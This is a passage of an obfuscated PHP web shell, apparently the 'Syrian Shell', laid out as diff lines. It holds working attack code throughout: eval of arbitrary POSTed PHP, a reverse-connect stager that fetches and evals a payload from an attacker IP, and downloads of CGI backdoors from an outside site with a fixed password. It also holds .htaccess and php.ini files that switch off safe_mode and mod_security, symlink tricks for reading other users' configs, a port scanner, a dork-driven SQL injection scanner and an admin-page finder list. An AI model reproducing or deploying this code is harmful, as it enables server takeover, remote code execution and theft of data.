\x48\x61\x73\150 : ".$hash." is : \123HA2\062\x34 \x48\141\x73h";} else if(strlen($hash) == 64){echo "\124he \x48\141\163h : ".$hash." \151\163 : S\110\x41\x325\066 \x48\x61s\x68";} else if(strlen($hash) == 96){echo "\x54\x68\145 \110\141sh : ".$hash." \151s : S\x48A3\x38\x34 H\x61\x73h";} else if(strlen($hash) == 128){echo "\124\x68\145 Has\150 : ".$hash." i\x73 : S\110A5\061\062 \110\x61\163\x68";} else if(strlen($hash) == 40){echo "T\150\145 H\x61\x73\150 : ".$hash." \151s : \115\171\123\x51\x4c V\x35.3.\x78 \x48\141\x73\150";} else if(strlen($hash) == 16){echo "\124he \110\141\163\150 : ".$hash." \x69\x73 : \115y\x53Q\114 \110\141\x73\x68";} else if(strlen($hash) == 13){echo "\124\x68e Ha\163h : ".$hash." \x69\x73 : D\105S(\x55\x6ei\170) \110ash";} else if(strlen($hash) == 32){echo "\124\x68e \x48\141\163h : ".$hash." \x69\x73 : \x4d\x44\x35 Ha\163\150";} else if(strlen($hash) == 4){echo "T\150e \110\x61\x73\x68 : ".$hash." \x69s : [C\x52\103-16]-[\x43RC-16-\x43\103\x49T\x54]-[\x46\103\x53-16]";} else {echo "\105\x72\162\157r : \103\141\156'\x74 \x44\x65\164e\x63\x74 \110a\163\150 T\x79\x70\145";} } + + +else if($_POST['submitEval'] && ($_POST['evalOrEnc'] == 'eval')) { $eval = str_replace("<?\x70h\x70","",$_POST['php_eval']); $eval = str_replace("<?\160h\160","",$eval); $eval = str_replace("?>","",$eval); $eval = str_replace("\\","",$eval); eval($eval); } + + +else if($_POST['submitEval'] && ($_POST['evalOrEnc'] == 'enc')) { if(!empty($_POST['php_eval'])) { $i0oll011iiiI0oi1 = $_POST['php_eval']; for ($i=0;$i<strlen($i0oll011iiiI0oi1);$i++) {$iI00i1oolIoOOo11 .= strtoupper(dechex(ord($i0oll011iiiI0oi1[$i])));} for ($i=0;$i<strlen($i0oll011iiiI0oi1);$i+=2) {$i00iiOO00Io1liii .= chr(hexdec($i0oll011iiiI0oi1[$i].$i0oll011iiiI0oi1[$i+1]));} $iO0il1oOOIl0O111 = 'CHAR('; for ($i=0;$i<strlen($i0oll011iiiI0oi1); $i++) {$iO0il1oOOIl0O111 .= ord($i0oll011iiiI0oi1[$i]).(($i<(strlen($i0oll011iiiI0oi1)-1))?',':')');} $iii11lOOIiI1OO0l='CHAR('; for ($i=0;$i<strlen($i0oll011iiiI0oi1); $i++) {$iii11lOOIiI1OO0l .= ord($i0oll011iiiI0oi1[$i]).(($i<(strlen($i0oll011iiiI0oi1)-1))?',':')');} echo " +\x4dD\x35 : ".md5($i0oll011iiiI0oi1)." +\102\141\x73\14564 \x45\x6eco\x64\x65 : ".base64_encode($i0oll011iiiI0oi1)." +\x42\x61\x73\145\066\x34 \x44\145c\x6fd\145 : ".base64_decode($i0oll011iiiI0oi1)." +\103\x72\171\x70t : ".crypt($i0oll011iiiI0oi1)." +\123HA1 : ".sha1($i0oll011iiiI0oi1)." +\x4dD4 : ".hash("\155\x64\064",$i0oll011iiiI0oi1)." +\x53\x48A\x32\x35\066 : ".hash("\163\150a2\065\066",$i0oll011iiiI0oi1)." +\125\122\x4c E\x6e\x63od\151\x6e\147 : ".urlencode($i0oll011iiiI0oi1)." +\x55\x52\x4c \104\145\x63o\144i\156\x67 : ".iIl1l0O0ooOO1IOI($i0oll011iiiI0oi1)." +\103\122\103\x33\062 : ".crc32($i0oll011iiiI0oi1)." +L\145\x6e\147\x74\150 : ".strlen($i0oll011iiiI0oi1)." +2\x48E\130 : 0x".$iI00i1oolIoOOo11." +\x48e\x78\x32 : ".$i00iiOO00Io1liii." +2\x44EC : ".$iO0il1oOOIl0O111." +\104E\x43\062 : ".$iii11lOOIiI1OO0l.""; } else{echo "P\154\145\141\x73\x65 P\165\x74 \101t \114\145a\x73\164 \x4f\x6e\145 \x43\x68\141r !";} } + + +else if($_POST['submitEval'] && ($_POST['evalOrEnc'] == 'genServ')) { chdir(stripslashes($_POST['php_eval'])); mkdir("\x61\154\x6c\163e\x72\166\x65r", 0755); chdir("\x61l\x6cs\145r\166\x65\162"); Exe("\x6c\156 -s / \x61\x6cl\163\x65\162\166\x65r"); iii0li0iIOii1III(".htaccess"," + \x4f\160\164i\x6f\x6es I\x6e\144e\170\145\163 \106\157\154\x6c\157\167S\171\155\x4c\x69n\x6b\163 + D\151\162\145c\164\157ry\x49n\144\145\x78 s\x73s\163\x73\163.h\x74\155 + A\144\144\124\x79\160e \164\x78\x74 .\160\150p + \101\144\x64\110\141\156\144\x6ce\162 \x74x\164 .p\150\x70"); echo 'Now Go to allserver folder '.getcwd().'' ; } + + +else if($_POST['submitEval'] && ($_POST['evalOrEnc'] == 'scan')) { $iooIl0li000Iooli = $_POST['php_eval']; if(!$iooIl0li000Iooli){echo "[-] \105n\x74\145r \111\x50 Address O\x72 \104\x6f\x6d\x61\x69\x6e To Sc\x61\156";} else { for($i=0;$i<1024;$i++) { $i10Oi1lOO10I1OoI = fsockopen($iooIl0li000Iooli,$i,$il1Oi1OoO11I1OiI,$i1Oli10olOiIlloI,10); if($i10Oi1lOO10I1OoI){echo "[+] port " . $i . " open \157\156 " . $iooIl0li000Iooli . " +";} flush(); } fclose($i10Oi1lOO10I1OoI); } } + + +else if($_POST['submitEval'] && ($_POST['evalOrEnc'] == 'sqlScanner')) { set_time_limit(0); ignore_user_abort(true); ini_set('memory_limit', '128M'); $google = "\150\164\x74p://\x77\x77\x77.google.\x63\x6fm/\x63s\145?cx=013269018370076798483%3\101\167d\142\x61\063\144lnxqm&\161=\x52E\120\x4cA\103\105_\104\x4fR\x4b&\156\x75m=100&hl=e\x6e&a\163_qd\162=al\x6c&start=\122EP\x4c\101\x43\x45_STA\122\124&s\x61=\x4e"; $i = 0; $a = 0; $b = 0; while($b <= 900) { $a = 0; echo " D\157r\x6b: [ ".$_POST['dork']."]\n"; ob_flush();flush();sleep(1); if(preg_match("/di\144 \x6e\157t \x6dat\143\x68 a\x6e\171 \144\x6f\x63\165me\156t\x73/", i1iOiooI011Ioo0o(str_replace(array("\122\105\x50\114\x41\x43\105_D\117\x52K", "R\x45\120\x4c\101\x43\105_\x53\124\x41\122\124"), array("".$_POST['dork']."", "$b"), $google)), $iIio1oOolli0oI1l)) { echo "\x53e\145 so\x6d\145t\x68\151n\147 \142ut \156o\x74 \146\157\165\x6e\144??"; ob_flush();flush();sleep(1); break; } preg_match_all("/<\1502 \143\x6c\141\163s=(.*?)><a \x68\x72\145\x66=\"(.*?)\" \x63\x6c\141\163\163=(.*?)>/", i1iOiooI011Ioo0o(str_replace(array("R\105\x50\x4c\x41CE_\104O\122\113", "R\x45P\114\101C\x45_ST\101RT"), array("".$_POST['dork']."", "$b"), $google)), $sites); echo "R\145s\x75\x6c\x74 of \x69\156\152\x65\x63ti\157\x6e...\n"; ob_flush();flush();sleep(1); while(1) { ob_flush();flush();sleep(1); if(preg_match("/\x59o\165 h\x61\x76\x65 an e\x72ror \x69\156 \171\x6f\x75\x72 \123Q\x4c|Div\x69\x73\x69o\x6e b\171 \172\145r\157 \x69\x6e|s\x75\160\x70\x6c\151\x65\x64 \x61\162g\165\155ent i\x73 \156\157\164 a v\x61li\x64 M\171SQL result \x72\x65\163o\x75\162\x63e \x69\x6e|C\x61l\154 to a \155\x65\x6dbe\162 \146\165n\x63\x74\x69o\156|\x4di\x63r\157\163\x6f\x66t J\x45\x54 Dat\141\142\x61se|O\x44\102\x43 \x4d\151\x63r\157\x73\x6f\146\164 \101\143\143\145\x73\163 \x44r\151v\145r|\115icr\157s\x6f\x66t OLE \104B \120r\x6fvi\x64er \146o\x72 S\121\114 S\145\x72\166\x65r|\125\156cl\x6fse\144 \161\165\x6f\164\x61\164io\x6e \x6d\x61\x72\x6b|M\x69\x63\x72\157\163\157\146\164 O\114\x45 D\x42 \120\162o\x76i\144\145\162 f\x6fr Oracle|\111\x6e\143\x6frrec\164 \x73\171\x6e\x74a\170 n\x65\141\x72|SQL query \x66\141\x69l\145d/", i1iOiooI011Ioo0o(str_replace("=", "='", $sites[2][$a])))) { echo str_replace("=", "='", $sites[2][$a])." <== \131e\x61\x68..\126\x75ln\145\x72\141\x62le ! \n"; } else { echo str_replace("=", "='", $sites[2][$a])." <== \116\157\164 \126ul\x6e\145r\141\142le..\x73\x6fr\x72y! \n"; ob_flush();flush();sleep(1); } if($a > count($sites[2])-2){echo "\x4cet\163..s\143\141\156 o\164\x68\x65\162 p\141\147\145.. \n";break;} $a = $a+1; } $b = $b+100; } } + + +else if($_POST['doAction'] && ($_POST['someAction'] == 'showUsers')) {showUsers();} + + +else if ($_POST['helpCommands']) { echo " +|--------------------------------------------|----------------------------------------------------|---------------------------------------------| +| C\x6f\155ma\156\x64 | Ex\141\155\x70l\145 | \x43\x6f\155\x6d\145\156t | +|--------------------------------------------|----------------------------------------------------|---------------------------------------------| +| zip | zip F\x69\154\x65N\141m\x65 | C\157\x6dpre\x73\x73 t\150\145 \106i\x6ce\163 \x49n\164\x6f a ZI\120 A\x72c\x68\151\166\x65 | +| u\x6e\x7a\x69\x70 | u\x6e\x7a\x69\160 \x46i\154\145\116\x61\x6d\x65 | \x45\x78\164ra\143\164 \x74\150\145 Z\x49P \101r\x63\150\x69v\145s | +| \164\x61\162 -z\x63\x66 | t\141\162 -z\x63\146 zz.\164a\162 d\141\151\154\x79 | \x43\157\x6dpr\x65s\x73 \164h\x65 F\x69\154\145\163 In\164o a \x54\101R \101\x72c\150\x69\x76e | +| t\141r -z\x78\146 | \x74\x61\x72 -\x7a\170f z\x7a.\x74\x61r | Ex\x74\x72ac\164 \x74\x68\x65 \x54A\122 \101rc\150iv\145s | +| \x74\141\162 -\143\172v\x66 | \164\x61r -\143\172\x76\146 F\x69leN\141me.\x74\141\x72.g\172 F\x69le\x4e\x61\155\x65 | \103\157mp\162es\x73 \164h\145 \106il\x65s \x49n\x74\x6f a \x47\x5a A\162\143\150\x69v\x65 | +| gzip -d | gzip -d Fi\x6c\x65\116am\145.g\x7a | \105\170\164r\x61\143t \x74\x68\x65 \107\132 Ar\x63\150\151\166e\x73 | +| \x74\141\x72 -\x63\172\166\x66 | \164\141\x72 -c\172\166\146 \106i\154\145\x4e\141m\x65.\x74a\162.\x67\x7a \x64ata\142\x61\x73\145.sql | C\x6fmp\162e\163\163 \x74\150\x65 File\x73 \111n\x74\x6f \123\121L A\162\x63\150i\x76\x65 | +| \164a\x72 -zxv\146 | \x74\x61\x72 -\172\x78\x76\x66 F\x69\x6c\x65Na\155\x65.\164\141r.\x67\172 | E\x78\x74r\x61\143t \x74h\145 \x44\x61\x74\141ba\163\145 \x46\x69\x6c\x65\163 S\x51\114 | +| t\x61\x72 -\x63\172\x76\x66 | tar -c\x7av\x66 \x46il\145\x4e\x61\155\145.\x74ar.g\x7a Ne\167\x46i\x6ce\116a\155\145 | \103\157\x6d\160\162\145\x73\x73 t\150\145 F\157\x6c\x64er\163 \111\x6et\157 a t\141\162.\147\172 \101\162ch\151\x76e | +| \x6c\163 | ls /h\157m\x65 | Vi\145\167 \164\150e \146\151les name in \x74\x68\145 directory | +| \154\163 -\x6c\x61 | ls -\x6c\x61 /\x68\x6f\155\145 | \126i\145\x77 \x46\x69\154\x65\x73 \101\156\144 Fold\145\x72s \x69\156 h\x69d\x64en \146\x69\x6c\145s | +| \160wd | p\167d | \123\x68ow \164\x68e \103\165r\162e\x6et \x50a\164\150 | +| ; | \x6c\x73;\160\x77\x64 | \103\157m\x62i\x6e\145 th\145 \x43o\155ma\x6e\x64s | +| \167get | \x77get \x68\x74\x74\x70://site.\x63\157\155/\x66i\x6c\145.zip | Get \x66i\154\x65 \146\162om U\x52L \x55\x73\x69\156\x67 \127\147e\164 C\x6fmm\x61\156\144 | +| curl -o | curl -\157 h\164\x74\160://site.\143\157\155/f\151\154e.zip | \x47e\164 \x66\151\x6c\145 \x66\162\157\155 \x55\x52L U\163\151n\x67 curl -\x6f \103o\155\155\141\x6e\x64 | +| \x6c\171\156x -\163\x6f\x75rce | lynx -s\157u\162c\145 \150\164tp://site.com/\x66i\x6ce.zip | \107et f\151\154\x65 \146\162\x6f\x6d URL U\x73ing l\171\156\170 -so\x75\x72\x63e \103\157\155\155\141\x6e\x64| +| \x67e\x74 | \147\x65\x74 \150\164t\x70://site.\x63\157m/f\x69\154\x65.zip | \x47\x65t \146\x69\154\x65 \146\162o\x6d U\122\x4c \125\x73\151\156\147 \x67\x65t \x43\157\155\155\141n\x64 | +| \x68i\163\x74\x6f\162\171 | \150isto\x72y | S\150\157\167 A\154\154 Pre\166\x69\x6fu\163 \103\x6fm\x6da\x6e\144\x73 \x74\x68\141\164 y\157\x75 \x45\170e\143\165t\x65d| +| \x6d\153d\151r | \155\x6bdi\162 /m\x79\x4ee\x77D\151\162 | \155\x61k\145 a \x6ee\167 D\151\x72\145c\164\x6f\162\171 \x69\156 t\x68e server | +| \x72m | rm \146\x69l\x65 | \x44e\154e\164\151\156\x67 F\x69\x6c\x65\163 | +| \x72m -\162 | \162m -r \155\171D\x69\x72e\x63\164o\162\x79 | \x44\x65\154\145t\x69\156g D\x69\162\x65\x63t\x6fr\171 \141\x6e\144 it's F\x69\x6c\x65s | +| e\144\151\164 | \145\x64i\164 m\x79\106\x69\x6c\145 | E\x64\x69\164 a \x66\x69\154\x65 \165\x73\151\156\147 text \145di\x74\145r | +| \x77\x68\157 | w\150\157 | \x77\150\x6f's \x43\x6f\156\156\145c\164\x65\x64 to t\x68\145 server | +| \x63\144 | \x63\144 /\x68\157\155\145/user | \x45\156\164e\162 \164he \123\145\x6c\x65\143\164\x65\144 P\141th | +| \x63\x64 ../ | \143\144 ../ | \x47\x6f \124\x6f U\160\x70\145\x72 \x44\x69\162\x65\143to\x72\x79 | +| \x6dv | \155\166 \155\x79\106\151\x6ce1 /\x68\157\155\x65/\155\171\106\x69l\145\062 | M\157ve \x41nd Re\156\141\155e Th\145 F\x69\154\x65 | +| f\x69\x6e\x64 | f\x69\x6e\x64 \155\171\106\x69l\x65 | \x4co\x6f\x6b\151\x6eg f\157\x72 a f\151\x6ce \x6f\x72 \146o\x6cde\162 | +| ./ | ./l\x6f\x63\141l\x72\x6fot | \x45x\x65\143\x75t\x65 the \105\170\145\x63\165t\x61\x62\154\x65 \146\x69\154e | +| \x73\x68 | \x73h loc\x61\x6cro\x6ft | E\170\145\x63u\164\x65 \x74he shell \120\162\157\x67\162a\x6d\155\x69\156\x67 C\x6fd\x65 | +| uname -a | uname -a | \126i\145\167 T\150e S\145\162ve\162 \x4b\145r\x6ee\x6c In\146o\162\x6d\x61\164\151o\x6e | +| * | rm * | \105x\x65cute \x74he C\157m\155\141\156d \x66o\x72 al\154 | +| \155\141n | \155\141\156 \x6c\x73 | H\145\154\160 About \x6cs \103\x6f\x6d\x6da\156\144 | +| \164ou\x63\150 | \x74o\165\x63\150 \x6dyFi\154\145 | \x43\x72\145\141t\x65 \101 \156e\167 F\151\154\145 | +| \x67\x63c | \147\x63c \x6d\171\x46\151\154\x651 -\x6f my\106\151\x6ce2 | \x43\157n\x76\x65\x72\164 to \102i\156\x61ry E\170\x65\143ut\x61\142le \106\151\x6ce | +| \x63at | \143\x61\164 \x6dy\x46\x69\x6c\145 | \x52\145\141\144 th\145 F\x69\x6c\145 c\157\x6et\145\x6e\164s | +| \155\x6f\162e | m\157\162\145 \155\x79\106\151le | \x52\145\x61\144 \x74\x68e File \145\141si\x6cy \x69\146 \x69\x74's \x6c\141r\147 | +| \160i\143o | \x70\x69\x63\x6f \x6d\171F\151\x6ce | \x45\x64\151\x74 \106\x69\154\x65 U\163\151\156g \120\151\143o \x54\145\x78t \105d\x69\164\x65r | +| perl | P\145r\154 m\x79F\x69\154e.\x70\x6c | \x45x\x65\143\x75\x74e \x74\150e Pe\162\154 \x53c\162\x69\160t\x73 | +| \154\156 | \154\156 -s /\x68o\155\145/my\106\x69l\x65 \155\x79\114i\x6e\x6b | M\x61k\x65 a lin\x6b to t\x68e \x66\151\x6ce | +| g\162\x65\x70 | g\162\x65\160 \x6dy\106\x69\154e \x6dy\x54\x65\x78t | \x4coo\153 \x66\x6fr \164\x68\x65 Te\x78\x74 \151\x6e the \106i\154\x65 | +| \x63\x68\155\x6f\x64 | c\x68m\x6f\144 755 my\x44\151\x72ec\164o\162\x79 | C\x68\x61\x6e\147\145 \x74\x68\x65 p\x65\162\155\x69\163s\151\157\156 to \x46\151l\x65s O\x72 \106o\x6cd\x65\162s | +| \143\150o\167n | \143\150o\x77n r\x6f\157\164 m\x79F\x69\154\x65 | \x43\x68\x61\156\147e t\150e \x46\151\x6c\x65 O\167\x6ee\x72 | +| \143\x68\147r\160 | \143\x68gr\x70 \162o\157\x74 \155\171\106i\154\x65 | C\150\x61\156g\x65 \x54\x68\145 \x46\x69\154\145 \x47\x72\x6fu\x70 | +| \x63l\145a\162 | \x63\x6c\x65\x61\162 | C\154\x65\x61\x72 \x74\150\145 \x53\143\162\145\x65\x6e | +| \143\x6d\160 | cm\160 \x6dy\106\x69\154\145\061 my\x46\x69\x6c\1452 | \103\x6f\x6dp\x61r\x65 \x74h\145 \124\157\x77 \106i\154\145\x73 | +| \x63ry\x70\x74 | c\x72y\x70t \x6d\x79Fi\154e | \124o \105ncr\171\x70\164 \x6d\171F\x69\154\x65 | +| \143\x73\x70l\151\164 | \x63s\160\154\151t \155\x79\x46\x69\154\x65 | \x53\x70\x72\x65\141\144 \164\x68\145 Fi\154\x65 \111nt\x6f \x70\151ec\x65\x73 | +|--------------------------------------------|----------------------------------------------------|---------------------------------------------| +"; } + + +else if($_POST['generatePel']) { chdir($_POST['cgiperlPath']); mkdir('cgi', 0755); chdir('cgi'); iloOl1lloloI1loI('http://www.syrian-shell.com/cgi/compiler.zip'); UnZip('compiler.zip',getcwd()); DeleteFile('compiler.zip'); iI11i0Il0iO0iooi("compiler",0777); if($_POST['cgiType'] == "\143\147i\x50e\162\154") { iloOl1lloloI1loI('http://www.syrian-shell.com/cgi/cgiPerl.zip'); UnZip('cgiPerl.zip',getcwd()); DeleteFile('cgiPerl.zip'); iI11i0Il0iO0iooi("\143g\151\x50\145r\154.\x73y\063",0755); echo ' +Go To Link : cgi/cgiPerl.sy3 +Password Is : sy3' ; } else if($_POST['cgiType'] == "\143\x67\x69P\x61\x79\164ho\156") { iloOl1lloloI1loI('http://www.syrian-shell.com/cgi/cgiPaython.zip'); UnZip('cgiPaython.zip',getcwd()); DeleteFile('cgiPaython.zip'); iI11i0Il0iO0iooi("\x63\x67\151\120\141y\x74\x68\x6fn.s\171\x33",0755); echo ' +Go To Link : cgi/cgiPaython.sy3 +'; } else if ($_POST['cgiType'] == "c\x67i\125s\x65r\163") { iloOl1lloloI1loI('http://www.syrian-shell.com/cgi/users.zip'); UnZip('users.zip',getcwd()); DeleteFile('users.zip'); iI11i0Il0iO0iooi("u\163er\x73.sy\x33",0755); echo ' +Go To Link : cgi/users.sy3 +'; } iii0li0iIOii1III('.htaccess','AddHandler cgi-script .sy3'); } + + +else if($_POST['changePermission']) { if($os == 'Windows'){echo "[-] \x4eo \120er\155\x69\x73\x73i\x6f\x6es \x69\156 Windows \117\123.";} else { $ilII1o111lIlIlIo = iI11i0Il0iO0iooi($_POST['fileName'],$_POST['per']); if($ilII1o111lIlIlIo){echo "[+] \x50\145\x72\x6d\x69\x73\163\x69o\x6e \x43\150\141ng\145d S\x75c\143\145\163\163f\x75l\154\171 ! " ;} else{ echo "[-] C\x68a\156gi\x6e\147 \x49\x73 No\x74 \x41\154\154o\x77\x65\x64 \117r \x54he Fi\154\145 \151\163 \x6e\x6f\x74 \x45x\151\163\164 !";} } } + + +else if($_POST['generateForbidden']) { chdir($_POST['forbiddenPath']); mkdir('forbidden'); chdir('forbidden'); $htaccess = fopen('.htaccess','w+'); if($_POST['403'] == 'DirectoryIndex'){fwrite($htaccess,"\104\x69r\x65c\164\x6f\x72\171\x49\x6e\x64ex \151n.\164x\164");} elseif($_POST['403'] == 'HeaderName'){fwrite($htaccess,"\110\x65\x61\x64\x65rN\141\155e \151\156.\164\x78t");} elseif($_POST['403'] == 'TXT') { fwrite($htaccess," + O\160t\151\157\156s \111n\x64\145\x78\145s F\157ll\157w\x53\171\155\x4c\x69\x6e\x6b\163 + a\144d\124y\x70e t\170t .\160hp + \x41d\144\110\x61\x6e\144le\162 tx\x74 .\160h\x70"); } elseif($_POST['403'] == '404') { fwrite($htaccess," + \x45\162\x72\157\x72\104oc\165m\x65\156\x74 404 /404.ht\x6dl + 404.\x68t\155l = \x53\171\155\x6cin\x6bed i\x6e.\164\x78\x74 "); } elseif($_POST['403'] == 'ReadmeName'){fwrite($htaccess,"Re\x61\144m\x65\116a\155\x65 \x69n.t\x78\164");} elseif($_POST['403'] == 'footerName'){fwrite($htaccess,"\146o\157t\x65r\116\141\155\145 \151\x6e.t\170t");} echo " +\116\x6f\167 G\x6f To [ \x66\157\162\142i\x64\x64\x65\156 ] D\151\x72 \101n\x64 T\x68e\x6e m\x61k\x65 \124he \123\x68\157rt\x63\x75t [ in.txt ] +E\x58 : \154\156 -s /h\157me/user/\160\x75\142li\x63_h\x74\155l/config.\160h\160 \x69\x6e.\x74xt"; } + + +else if($_POST['UploadNow']) { $uploadingDir = $_POST['uploadingDir']; $uploadingDir = str_replace("\\\\","\\",$uploadingDir); $uploadingDir = str_replace("//","/",$uploadingDir); chdir($uploadingDir); $iOOIiiO0lOooIoOi =0; $iIliilO1l0lIio0I = array(); $path= ''; $i1o1iOooOlooOIi1= $path . basename($_FILES['uploadfile']['name'][$i]); for ($i = 0; $i < count($_FILES['uploadfile']['name']); $i++) { if($_FILES['uploadfile']['name'][$i] != '') { move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $i1o1iOooOlooOIi1 . $_FILES['uploadfile']['name'][$i]); $iIliilO1l0lIio0I[] = $_FILES['uploadfile']['name'][$i]; $iOOIiiO0lOooIoOi++; echo "\124\x68\x65 \x46\151\x6ce ".basename($_FILES['uploadfile']['name'][$i])." U\160\154oa\x64\145d S\165\143\143\x65\x73sf\x75\154ly ! +"; } else "T\150e \106\151\x6ce ".basename($_FILES['uploadfile']['name'][$i])." C\141\x6e'\164 \102e \x55p\x6c\x6f\141d :( !"; } } + + +else if($_POST['doAction'] && ($_POST['someAction'] == 'genPhp')) { $iOIOi1l01liIIol1 = iii0li0iIOii1III("p\150p.\x69n\x69"," + safe_mode = \117f\x66 + \144\151\163\141\142\154\x65_\x66\x75\x6e\143t\151\x6f\156s = \x4e\117\116\x45 + s\x61\146\145_\x6do\x64\145_g\151\144 = \117\x46\106 + \157\x70e\x6e_\x62\x61s\145\x64i\x72 = \x4f\x46F"); echo "\160\150\160.ini H\x61\x73 \x42\145\x65\x6e G\145\x6e\145\x72\x61\164\145d \x53u\x63c\x65\x73\x73\146\x75\x6c\x6cy"; if($iOIOi1l01liIIol1){echo "[+] \160\x68\160.\151\156\x69 Has Bee\156 G\145\x6e\145ra\x74ed \x53u\143\143\145\163sf\x75\x6cly ";} else {echo "[-] \x46\x61\151\154\145d to \x67e\x6e\x65\x72\141t\x65 \160h\x70.i\x6ei fi\x6c\x65 !! ";} } else if($_POST['doAction'] && ($_POST['someAction'] == 'genHtaccess')) { $iOIOi1l01liIIol1 = iii0li0iIOii1III(".htaccess"," + <If\x4d\157d\x75\154e m\157d_s\x65\x63\165r\x69\x74\x79.c> + \x53e\143\x46\151l\x74e\x72E\x6e\x67\151n\x65 \x4ff\x66 + \x53e\x63Fi\154te\162S\x63\x61nPO\x53\124 \117ff + \123ecF\x69\154\164\x65rCh\x65\x63kU\x52\114\105\156c\157\x64\151\x6eg \117\146\x66 + S\x65\x63\x46\x69l\164\145r\103\x68ec\153\x43\x6fo\153\x69\x65\x46\157\162ma\x74 \117\146f + SecFi\154\164e\162\x43hec\153\x55\x6e\x69c\157d\x65E\156co\144\x69\156g \x4f\146f + S\145\143\106\151l\164\x65\162\116\157\x72\155\x61\154i\172\145C\157o\x6b\151e\x73 \x4f\x66\x66 + </\x49\x66M\157\144u\154e> + \x53\145tEn\166 \x50H\x50\122\103 ".getcwd()."/\x70\150\160.\151\x6ei + s\x75PH\x50_C\157nf\151\147\x50\x61th ".getcwd()."/\160\150p.\151\156i + "); if($iOIOi1l01liIIol1){echo "[+] .htaccess \110\141\x73 \102\x65\x65\x6e G\145\x6ee\x72ated S\x75\143\143e\163\x73\x66\x75\154\154\x79 ";} else {echo "[-] \106\141\x69\154\x65\x64 to \x67\145\156\x65r\141\x74\145 .htaccess fi\154\x65 !! ";} } else if($_POST['doAction'] && ($_POST['someAction'] == 'genINI')) { $iOIOi1l01liIIol1 = iii0li0iIOii1III("\151\x6e\151.\160\x68p",' +ini_restore("safe_mode"); +ini_restore("open_basedir"); + '); if($iOIOi1l01liIIol1){echo "[+] \151\x6e\151.\x70\x68p \x48a\163 \102\x65\x65\x6e \x47\x65\x6e\145\162a\164e\144 S\165\x63ces\x73fully";} else {echo "[-] \106\x61\151l\145\x64 to \x67\145n\x65\x72\x61t\145 \151\156\151.\160h\x70 fi\154\x65 !! ";} } + + + +else if($_POST['read'] || $_POST['show']) { $file = $_POST['file']; $file = str_replace('\\\\','\\',$file); $file = str_replace('//','/',$file); if($_POST['read']){iioiio0iiI0loioo($file);} elseif($_POST['show']){iOiIliO1iIoii1il($file);} } + + +else if($_POST['metaConnect']) { $ip = $_POST['ip']; $port = $_POST['port']; if ($ip == "" && $port == ""){echo "P\154\x65\x61se \146\151\x6cl IP \x41\144\162es\163 & \124h\145 \x6c\151s\164\145\156 Po\162t";} else { $i0li1oio1lO0I0oO = $ip; $port = $port; if (FALSE !== strpos($i0li1oio1lO0I0oO, ":")) {$i0li1oio1lO0I0oO = "[". $i0li1oio1lO0I0oO ."]";} if (is_callable('stream_socket_client')) { $iliillOo0001IIii = stream_socket_client("\164\x63\x70://{$i0li1oio1lO0I0oO}:{$port}"); if (!$iliillOo0001IIii){die();} $iil01ioO0OlOIIOO = 'stream'; } elseif (is_callable('fsockopen')) { $iliillOo0001IIii = fsockopen($i0li1oio1lO0I0oO,$port); if (!$iliillOo0001IIii) {die(); } $iil01ioO0OlOIIOO = 'stream'; } elseif (is_callable('socket_create')) { $iliillOo0001IIii = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $i0IoililO0ooIl01 = socket_connect($iliillOo0001IIii, $i0li1oio1lO0I0oO, $port); if (!$i0IoililO0ooIl01) {die(); } $iil01ioO0OlOIIOO = 'socket'; } else {die();} switch ($iil01ioO0OlOIIOO) { case 'stream': $len = fread($iliillOo0001IIii, 4); break; case 'socket': $len = socket_read($iliillOo0001IIii, 4); break; } if (!$len) {die();} $a = unpack("\116\154\145\156", $len); $len = $a['len']; $iI1Iio1l0OIIOI0l = ''; while (strlen($iI1Iio1l0OIIOI0l) < $len) { switch ($iil01ioO0OlOIIOO) { case 'stream': $iI1Iio1l0OIIOI0l .= fread($iliillOo0001IIii, $len-strlen($iI1Iio1l0OIIOI0l)); break; case 'socket': $iI1Iio1l0OIIOI0l .= socket_read($iliillOo0001IIii, $len-strlen($iI1Iio1l0OIIOI0l)); break; } } eval($iI1Iio1l0OIIOI0l); echo "[*] Co\x6e\x6e\x65cti\157n T\145r\x6d\151\x6e\x61t\145\x64"; die(); } } + + +if (isset($_POST["\x73\165bm\151\x74_\154\x6fl"])) { set_time_limit(0); $url = $_POST['hash_lol']; echo "\x54\145s\x74\x69\156\147 ".$url."\n"; $extention = $_POST['extention']; $iol0l0o0olIiO101 = array( "admin/", "\x77\160-admin/", "\141d\x6d\151n\x69s\x74r\141\164\151\x6fn/", "adm\151n\x69st\x72\x61\164\157r/", "mo\144\145\162a\x74or/", "w\145\142\141dmi\x6e/", "\141dmi\156a\162\x65\x61/", "\x62\x62-admin/", "\x61d\x6d\x69n\114o\x67\151n/", "a\144\155in_a\x72\145\141/", "\x70\141\156el-\141dm\151\156ist\x72\x61\x63io\156/", "ins\x74\x61\144min/", "\x6d\x65\x6dber\x61\144\155i\x6e/", "ad\155\151\156\151\x73\x74r\x61t\157\162l\x6fgi\x6e/", "ad\155/", "\x73\151\164e\x61\144\x6d\x69\156/login".$extention."", "admin/account".$extention."", "admin/index".$extention."", "admin/login".$extention."", "admin/admin".$extention."", "\x61\144\x6d\x69\x6e_\x61re\141/login".$extention."", "\141\x64mi\156_a\162\x65\141/index".$extention."", "admincp/index".$extention."", "\141\144\x6di\x6e\x70\x61\x6eel".$extention."", "\167\145ba\144mi\x6e".$extention."", "w\145\x62\x61dm\151\x6e/index".$extention."", "\x77\x65\x62\141\144min/login".$extention."", "admin/admin_\x6c\157g\x69\156".$extention."", "\x61\x64m\x69\156_\154\x6f\147i\x6e".$extention."", "\160\x61\x6e\145\154-a\144m\151n\x69\163\x74\x72a\x63ion/login".$extention."", "\141d\155\x69\156_\x61\162\145\x61/admin".$extention."", "bb-admin/index".$extention."", "b\142-admin/login".$extention."", "\142\x62-admin/admin".$extention."", "admin/\150\157\x6d\x65".$extention."", "\160\141g\145s/admin/admin-login".$extention."", "admin/admin-login".$extention."", "admin-login".$extention."", "admin/\x61\144\x6din\x4co\x67\x69n".$extention."", "\x68o\x6d\x65".$extention."", "\141\x64\x6d\151\156\141re\141/index".$extention."", "admin/\143\x6f\156t\162\x6f\154p\x61\x6e\145\154".$extention."", "admin".$extention."", "admin/c\160".$extention."", "cp".$extention."", "a\x64m\x69\156p\141\156\x65\154.p\150\x70", "\x6do\x64\x65\x72\x61\164\157\162".$extention."", "\141\x64m\151\x6e\151s\x74\x72\x61\164o\x72/index".$extention."", "\141\144m\151ni\x73t\x72\141\x74\x6f\x72/login".$extention."", "user".$extention."", 